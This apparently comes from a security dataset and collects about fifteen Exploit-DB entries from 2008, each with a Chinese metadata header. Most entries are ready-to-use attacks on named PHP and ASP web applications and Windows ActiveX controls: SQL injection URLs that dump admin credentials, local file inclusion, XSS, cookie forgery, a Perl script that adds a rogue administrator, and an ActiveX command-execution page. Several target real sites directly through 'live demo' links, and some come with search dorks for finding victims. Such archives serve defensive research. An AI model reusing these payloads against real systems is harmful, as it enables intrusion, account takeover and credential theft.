QLWD/code_shield huggingface dataset:
标题: Zanfi CMS lite 1.2 - Multiple Local File Inclusions EDB-ID: 6413 CVE: 2008-4158 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-10 漏洞利用脚本: ############################################################################################################
[+]Zanfi CMS lite / Jaw Portal free (index.php page) Multiple Local File Inclusion
[+]Discovered by SirGod
[+]MorTal TeaM
[+]Greetz E.M.I.N.EM,Ras,Puscas_marin,ToxicBlood,HrN,Kemrayz,007m
############################################################################################################
 
[+] Dork : Powered by: Zanfi Solutions

[+] Local File Inclusion

   PoC :

    http://[target]/[Path]index.php?flag=[Local File]%00

   Example :

    http://127.0.0.1/index.php?flag=../../../autoexec.bat%00


   PoC :
 
    http://[target]/[Path]/index.php?inc=[Local File]%00

   Example :

    http://127.0.0.1/index.php?inc=../../../autoexec.bat%00

############################################################################################################

# milw0rm.com [2008-09-10] URL: https://www.exploit-db.com/exploits/6413
标题: AvailScript Classmate Script - 'viewprofile.php' SQL Injection EDB-ID: 6412 CVE: 2008-4375 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-09 漏洞利用脚本: Availscript Classmate Script Remote SQL Injection Vulnerability
home script : http://www.availscript.com/classmate_script.php
By : Stack
befor execute exploit you need to register
exploit
site.il/script/viewprofile.php?p=-1%20union%20select%201,2,3,4,password,6,7,8,9,10,11,12,13,14,15,16,17+from+admin--
site.il/script/viewprofile.php?p=-1%20union%20select%201,2,3,4,username,6,7,8,9,10,11,12,13,14,15,16,17+from+admin--
site.il/script/viewprofile.php?p=-1%20union%20select%201,2,3,4,user(),6,7,8,9,10,11,12,13,14,15,16,17--
live demo
username
http://www.availscript.com/classmate/viewprofile.php?p=-1%20union%20select%201,2,3,4,username,6,7,8,9,10,11,12,13,14,15,16,17+from+admin--
http://www.availscript.com/classmate/viewprofile.php?p=-1%20union%20select%201,2,3,4,user(),6,7,8,9,10,11,12,13,14,15,16,17--

# milw0rm.com [2008-09-09] URL: https://www.exploit-db.com/exploits/6412
标题: PHPVID 1.1 - Cross-Site Scripting / SQL Injection EDB-ID: 6422 CVE: 2008-4157 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-10 漏洞利用脚本: ################################################################ 
#       .___             __          _______       .___        # 
#     __| _/____ _______|  | __ ____ \   _  \    __| _/____    # 
#    / __ |\__  \\_  __ \  |/ // ___\/  /_\  \  / __ |/ __ \   # 
#   / /_/ | / __ \|  | \/    <\  \___\  \_/   \/ /_/ \  ___/   # 
#   \____ |(______/__|  |__|_ \\_____>\_____  /\_____|\____\   # 
#        \/                  \/             \/                 # 
#                   ___________   ______  _  __                # 
#                 _/ ___\_  __ \_/ __ \ \/ \/ /                # 
#                 \  \___|  | \/\  ___/\     /                 # 
#                  \___  >__|    \___  >\/\_/                  # 
#      est.2007        \/            \/   forum.darkc0de.com   # 
################################################################ 
# --d3hydr8 -rsauron-baltazar -sinner_01 -C1c4Tr1Z - beenu     # 
#  ---QKrun1x-P47tr1ck - FeDeReR -MAGE -JeTFyrE                #
#                   and all darkc0de members                ---# 
################################################################ 
# 
# Author: r45c4l 
# 
# Home  : www.darkc0de.com 
# 
# Email : r45c4l@hotmail.com 
# 
# Share the c0de! 
# 
################################################################ 
# 
# Title: phpVID 1.1 The video sharing script! Multiple Vulnerabilities
#
# Vendor: http://www.vastal.com/phpvid-the-video-sharing-software.html
# Vulnerable Version: 1.1
# 
###########################################################
#
# d0rk:Powered By Vastal I-Tech's phpVID. 
# 
# 
###########################################################
 
     Vulnerabilities

     Blind SQL Injection in "groups.php" in the "cat" parameter.
     Cross Site Scripting in "search_results.php"
  
     
     POC:  
 http://www.site.com/groups.php?type=&&cat=4+and+substring(@@version,1,1)=4 
 http://www.site.com/search_results.php?query=[XSS] 

     
     Live Demo: 
 http://www.phpvid.com/groups.php?type=&&cat=4+and+substring(@@version,1,1)=4
 http://www.phpvid.com/search_results.php?query=<script>alert(0);</script>


###########################################################
#
#  Bug discovered : 10 Sep.2008
###########################################################

# milw0rm.com [2008-09-10] URL: https://www.exploit-db.com/exploits/6422
标题: Peachtree Accounting 2004 - 'PAWWeb11.ocx' ActiveX Insecure Method EDB-ID: 6414 CVE: 2008-4699 类型: REMOTE 平台: WINDOWS 发布日期: 2008-09-10 漏洞利用脚本: <!-- Jeremy Brown (0xjbrown41@gmail.com/jbrownsec.blogspot.com)
     Peachtree Accounting Remote (SfS/SfI) Exploit
     Tested on Peachtree Accounting 2004 / Windows XP / IE6
     All Peachtree software that includes PAWWeb11.ocx are assumed vulnerable -->

<html><body>

<object id=target classid=clsid:2BCEAECE-6121-4E78-816C-8CD3121361B0></object>
<script language=vbscript>


arg1="C:/WINDOWS/system32/calc.exe"
target.ExecutePreferredApplication arg1

</script>
</body></html>

# milw0rm.com [2008-09-10] URL: https://www.exploit-db.com/exploits/6414
标题: Libera CMS 1.12 - 'cookie' SQL Injection EDB-ID: 6416 CVE: 2008-4701 2008-4700 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-10 漏洞利用脚本: #!/usr/bin/perl
 # ----------------------------------------------------------
 # Libera CMS <= 1.12 (Cookie) Remote SQL Injection Exploit
 # Perl Exploit - Add a new admin with your credentials!
 # Author: StAkeR - StAkeR[at]hotmail[dot]it
 # ----------------------------------------------------------
 # Usage: perl http://localhost/cms StAkeR obscure
 # ----------------------------------------------------------

 use strict;
 use LWP::UserAgent;

 my ($hostname,$username,$password) = @ARGV;
 my $request  = undef;
 my $http_s   = new LWP::UserAgent or die $!;

 $hostname = ($hostname =~ /^http:\/\/(.+?)$/) ? $ARGV[0] : banner();
 banner() unless $username and $password;

 $http_s->agent("Mozilla/4.5 [en] (Win95; U)");
 $http_s->timeout(1);
 $http_s->default_header('Cookie' => "libera_staff_pass=' or '1=1");           

 $request = $http_s->post($hostname."/admin.php?action=add_user_process",
                         [
                          username       => $username,
                          password       => $password,
                          password_again => $password,
                          email          => 0,
                          su             => 1,
                          submit         => "Add+User"
                        ]);
        
 if($request->is_success)
 {
   if($request->content =~ /added successfully/i)
   {
     print "[+] Exploit Done!\n";
     print "[+] Added New Administrator:\n\n";
     print "[+] Username: ${username}\n";
     print "[+] Password: ${password}\n";
   }
   else
   {
     print "[!] Exploit Failed!\n";
     print "[!] Site Not Vulnerable\n";
   }
 }


 sub banner
 {
   print "[+] Libera CMS <= 1.2 Remote SQL Injection Exploit (add new admin)\n";
   print "[+] Usage: perl exploit.pl [host] [username] [password]\n";
   print "[+] Example: perl exploit.pl http://localhost/cms StAkeR obscure\n\n";
   return exit;
 }

# milw0rm.com [2008-09-10] URL: https://www.exploit-db.com/exploits/6416
标题: Adobe Acrobat 9 - ActiveX Remote Denial of Service EDB-ID: 6424 CVE: 2008-4071 类型: DOS 平台: WINDOWS 发布日期: 2008-09-11 漏洞利用脚本: <!-- Jeremy Brown (0xjbrown41@gmail.com/jbrownsec.blogspot.com)
     Adobe Acrobat 9 Remote DoS (--) Tested on AA9/IE7/Vista
     I can't seem to reproduce this on XP! Oh well.
     Of course the most popular app for reading pdfs is SfS/SfI :)
     Basically it will crash with any uri that adobe doesn't like.
     Also interesting: try with file:///DoS and look in bottom left area -->

<html><body>

<object id=target classid=clsid:CA8A9780-280D-11CF-A24D-444553540000></object>
<script language=vbscript>

arg1="acroie:///DoS"
target.src = arg1

</script>
</body></html>

# milw0rm.com [2008-09-11] URL: https://www.exploit-db.com/exploits/6424
标题: Stash 1.0.3 - Insecure Cookie Handling EDB-ID: 6406 CVE: 2008-4081 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-09 漏洞利用脚本: ####################################################################################################
  #                                                                                                  #
  #           ...:::::stash-1.0.3 Insecure Cookie Handling Vulnerability ::::....                    #          
  ###################################################################################################


-----------------------
Discoverd By : Ciph3r

special tnx to : Iranian hacker & Kurdish Security TEAM

E-Mail : Ciph3r_blackhat@yahoo.com

cms :  http://sourceforge.net/project/showfiles.php?group_id=206129
-----------------------
DESCRIPTION:

stash-1.0.3, suffers from insecure cookie handling, when a admin login is successfull the script creates
a cookie to show the rest of the admin area the user is already logged in. the bad thing is the cookie doesnt
contain any password or anything alike, therefor we can craft a admin cookie and make it look like we are
logged in as a legit admin.
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
vuln code in  admin/login.php


if(isset($_COOKIE['bsm'])&&isset($_COOKIE['msb'])){
        $authenticate->checkCookie($_COOKIE['bsm'],$_COOKIE['msb']);


-----------------------------------------
exploit:
javascript:document.cookie = "bsm=1; path=/"; 
-----
now you can get admin access and manage the cms ;)
-------------------------------------------

# milw0rm.com [2008-09-09] URL: https://www.exploit-db.com/exploits/6406
标题: AvailScript Photo Album - 'pics.php' Multiple Vulnerabilities EDB-ID: 6411 CVE: 2008-4370 2008-4369 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-09 漏洞利用脚本: ###########################################################
# 
#        ___    __ __                  __  __            
#       /\_ \  /\ \\ \                /\ \/\ \           
#   ____\//\ \ \ \ \\ \    __  _ __  _\ \ \ \ \  ____    
#  /',__\ \ \ \ \ \ \\ \_ /\ \/'\\ \/'\\ \ \ \ \/\_ ,`\  
# /\__, `\ \_\ \_\ \__ ,__\\>  <\\>   <\\ \ \_\ \/_/  /_ 
# \/\____/ /\____\\/_/\_\_//\_/\_\\_/\_\ \ \_____\/\____\
#  \/___/  \/____/   \/_/  \//\/_///\/_/  \/_____/\/____/
# 
#                                 security breakd0wn!
###########################################################
# 
# Title: Availscript Photo Album (pics.php) Multiple Vulnerabilities
# Vendor: http://www.availscript.com/
# Vulnerable Version: N/A
# Fix: N/A
# 
###########################################################
# 
# c0ntact: sl4x.xuz[at]gmail[dot]com
# d0rk: "muahaha"
# stop lammo
# 
###########################################################

######################
  1. Information
######################
     With this script you can add pictures in categories create album or wallpaper website.

######################
  2. Vulnerabilities
######################
     SQL Injection in "pics.php" in the "sid" parameter.
     Cross Site Scripting in "pics.php" in the "sid" parameter.
     Cross Site Scripting in "view.php" in the "a" parameter.

######################
  3. PoC
######################
     http://localhost/path/pics.php?sid=-1+union+select+database(),2,3,4,5,6,7,8,version(),10,11,12--
     http://localhost/path/pics.php?sid=[XSS]
     http://localhost/path/view.php?a=[XSS]

###########################################################

# milw0rm.com [2008-09-09] URL: https://www.exploit-db.com/exploits/6411
标题: Stash 1.0.3 - Multiple SQL Injections EDB-ID: 6402 CVE: 2008-4080 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-09 漏洞利用脚本: #####################################################################################
####           Stash v1.0.3 Admin bypass / Remote File Disclosure                ####
#####################################################################################
#                                                                                   #
#AUTHOR : IRCRASH (R3d.W0rm (Sina Yazdanmehr))                                      #
#Discovered by : IRCRASH (R3d.W0rm (Sina Yazdanmehr))                               #
#Our Site : Http://IRCRASH.COM                                                      #
#IRCRASH Team Members : Dr.Crash - R3d.w0rm (Sina Yazdanmehr)                       #
#####################################################################################
#                                                                                   #
#Download : http://kent.dl.sourceforge.net/sourceforge/nice-stash/stash-1.0.3.tar.gz#
#                                                                                   #
#DORK : :(                                                                          #
#                                                                                   #
#####################################################################################
#                                [Admin by pass]                                    #
#                                                                                   #
#http://Site/[path]/admin/login                                                     #
#Username : ' or 1=1/*                                                              #
#Password : R3d.W0rm                                                                #
#                                                                                   #
#####################################################################################
#                            [Remote File Disclosure]                               #
#                                                                                   #
#http://Site/[path]/downloadmp3.php?download=-99999'+union+select+0,1,2,3,4,concat(0x[file name in hex])/* 
#                                                                                   #
#Note : You must enter file name in hex in valun address to download it .           #
#Ex. ../../admin/config.php == 2E2E2F2E2E2F61646D696E2F636F6E6669672E706870         #
#http://Site/[path]/downloadmp3.php?download=-99999'+union+select+0,1,2,3,4,concat(0x2E2E2F2E2E2F61646D696E2F636F6E6669672E706870)/* 
#                                                                                   #
#####################################################################################
#                           Site : Http://IRCRASH.COM                               #
###################################### TNX GOD ######################################

# milw0rm.com [2008-09-09] URL: https://www.exploit-db.com/exploits/6402
标题: Creator CMS 5.0 - 'sideid' SQL Injection EDB-ID: 6405 CVE: 2008-7001 2008-4377 类型: WEBAPPS 平台: ASP 发布日期: 2008-09-09 漏洞利用脚本: # Exploit : Creator CMS 5.0 Remote SQL Injection Vulnerability
#
# Vendor : www.cmind.dk
#
# Founded By : ThE X-HaCkEr From X9 Team ( ThE X-HaCkEr & dr.9)
#     
# Greetz To : tryag.cc & saudihack.com & hackteach.org all muslim
#
# Email : the-x-hacker[@]hotmail[.]fr
#
# Google D0rk : allinurl:index.asp?sideid=

POC : www.site.com/index.asp?sideid=[SQL]

SQL : 1+union+select+concat(username,0x3a,password),2,3+from+login/*

Example : http://www.xxx.dk/index.asp?sideid=28+union+select+concat(username,0x3a,password),2,3+from+login/*

You can upload an asp shell through file manager

Enjoy !!!

# milw0rm.com [2008-09-09] URL: https://www.exploit-db.com/exploits/6405
标题: WordPress Core 2.6.1 - SQL Column Truncation EDB-ID: 6397 CVE: 2009-2762 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-07 漏洞利用脚本: # WordPress 2.6.1 SQL Column Truncation Vulnerability (PoC)
#
# found by irk4z[at]yahoo.pl
# homepage: http://irk4z.wordpress.com/
#
# this is not critical vuln [;
# 
# first, read this discovery:
# http://www.suspekt.org/2008/08/18/mysql-and-sql-column-truncation-vulnerabilities/
#
# in this hack we can remote change admin password, if registration enabled
#
# greets: Stefan Esser, Lukasz Pilorz, cOndemned, tbh, sid.psycho, str0ke and all fiends

1. go to url: server.com/wp-login.php?action=register

2. register as:

login: admin                                                       x
email: your email

^ admin[55 space chars]x

now, we have duplicated 'admin' account in database

3. go to url: server.com/wp-login.php?action=lostpassword

4. write your email into field and submit this form

5. check your email and go to reset confirmation link

6. admin's password changed, but new password will be send to correct admin email ;/

# milw0rm.com [2008-09-07] URL: https://www.exploit-db.com/exploits/6397
标题: Alstrasoft Forum - 'catid' SQL Injection EDB-ID: 6401 CVE: 2008-3954 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-09 漏洞利用脚本: ################################################################ 
#       .___             __          _______       .___        # 
#     __| _/____ _______|  | __ ____ \   _  \    __| _/____    # 
#    / __ |\__  \\_  __ \  |/ // ___\/  /_\  \  / __ |/ __ \   # 
#   / /_/ | / __ \|  | \/    <\  \___\  \_/   \/ /_/ \  ___/   # 
#   \____ |(______/__|  |__|_ \\_____>\_____  /\_____|\____\   # 
#        \/                  \/             \/                 # 
#                   ___________   ______  _  __                # 
#                 _/ ___\_  __ \_/ __ \ \/ \/ /                # 
#                 \  \___|  | \/\  ___/\     /                 # 
#                  \___  >__|    \___  >\/\_/                  # 
#      est.2007        \/            \/   forum.darkc0de.com   # 
################################################################ 
# --d3hydr8 -rsauron-baltazar -sinner_01 -C1c4Tr1Z - beenu     # 
#  ---QKrun1x-P47tr1ck - FeDeReR -MAGE -JeTFyrE                #
#                   and all darkc0de members                ---# 
################################################################ 
# 
# Author: r45c4l 
# 
# Home  : www.darkc0de.com 
# 
# Email : r45c4l@hotmail.com 
# 
# Share the c0de! 
# 
################################################################ 
# 
# Exploit: Alstrasoft Forum (forum_catview&catid) Remote SQL Injection Vulnerability
#
#
# App Name:  AlstraSoft Forum 
# 
# App Home: http://www.alstrasoft.com/
# 
# Dork1: Use ur brain
# Dork2: Powered By AlstraSoft Forum Pay Per Post Exchange
# 
# 
# 
# 
# 
# POC: For Admin id and pass
#      index.php?menu=forum_catview&catid=-1+union+all+select+1,2,3,4,5,concat(auser,0x3a,apass),7+from+admin--
# 
# P0C-2: For Users id and pass
#       index.php?menu=forum_catview&catid=-1+union+all+select+1,2,3,4,5,concat(username,0x3a,upass),7+from+users--
# 
# Live Demo: (For admin)
# 
# http://payperpostpro.com/index.php?menu=forum_catview&catid=-1+union+all+select+1,2,3,4,5,concat(auser,0x3a,apass),7+from+admin--
#  
# Live Demo: (For Users)
#  
# http://payperpostpro.com/index.php?menu=forum_catview&catid=-1+union+all+select+1,2,3,4,5,concat(username,0x3a,upass),7+from+users--
#
# Admin panel is at http://site.com/admin 
################################################################ 
# Vuln Discovered 9th Sep 2008 

# milw0rm.com [2008-09-09] URL: https://www.exploit-db.com/exploits/6401
标题: Masir Camp E-Shop Module 3.0 - 'ordercode' SQL Injection EDB-ID: 6395 CVE: 2008-3955 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-07 漏洞利用脚本: ########################## www.BugReport.ir #######################################
#
#        AmnPardaz Security Research Team
#
# Title: Masir Camp E-Shop Module <= 3.0 SQL Injection
# Vendor: www.masir.net
# Vulnerable Version: 3.0 and prior versions
# Exploit: Available
# Impact: Medium
# Fix: N/A
# Original Advisory: http://bugreport.ir/index_52.htm
###################################################################################

####################
1. Description:
####################
    Masir Camp is an advanced website management and content management software. It is suitable for management, control and information presentation.
"Masir Camp" increases your ability to manage and control your website or weblog.It use Microsoft .Net and MS-SQL. But you have no limitation to use other DBMSs.

####################
2. Vulnerabilities:
####################
    2.1. Injection Flaws. SQL Injection in "veiworderstatus" in "ordercode" parameter.


####################
3. Exploits/POCs:
####################
    http://[URL]/?page=veiworderstatus&ordercode=foo' or 1=(select top 1 UserName from UserInfoView)--
    http://[URL]/?page=veiworderstatus&ordercode=foo' or 1=(select top 1 Password from UserInfoView)--

####################
4. Solution:
####################
    Edit the source code to ensure that inputs are properly sanitized.

####################
5. Credit:
####################
AmnPardaz Security Research & Penetration Testing Group
Contact: admin[4t}bugreport{d0t]ir
www.BugReport.ir
www.AmnPardaz.com

# milw0rm.com [2008-09-07] URL: https://www.exploit-db.com/exploits/6395
标题: Live TV Script - 'index.php?mid' SQL Injection EDB-ID: 6404 CVE: 2008-4376 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-09 漏洞利用脚本: ||          ||   | ||        
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_, 
                  ( :   /    (_)    /           (   .  
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|


<<!>> Found by  :  Cyb3r-1sT

<<!>> C0ntact : cyb3r-1st [at] hotmail.com 
                   
<<!>> Groups : InjEctOr5 T3am 


=======================================================
++++++++++++++++++++ Script information++++++++++++++++++++++
=======================================================


<<->> script      : live-tv-script

<<->> script site : www.livetvscript.com                 



=======================================================
++++++++++++++++++++++++ Exploit +++++++++++++++++++++++++
=======================================================


<<->> D0rk    : find it

<<->> Exploit :>>>

          >>>> www.site.me/patch/index.php?mid=-99999+union+select+0,unhex(hex(concat(uid,0x3a,pwd))),0,0+from+admin/*


=======================================================
+++++++++++++++++++++++ Greetz ++++++++++++++++++++++++
=======================================================


<<->>  freinds :: titanichacker $ arb-hawk $ denm0 $ drbaka  $ nicehacker 
                           anaconda-ksa $ sirus $ br1ght-dark  $ Golden-zero $ crazy-x 
                    

<<->> InjEctOr5 TeaM freinds  :: abo-najm $ Eng.Silent Night  $ spid3r-net $ hacker-b0y $ qalbhamad $ Mr.Dangers - RooT-HacKer - 07 - fisher - ToTal



<<->> All muslims

# milw0rm.com [2008-09-09] URL: https://www.exploit-db.com/exploits/6404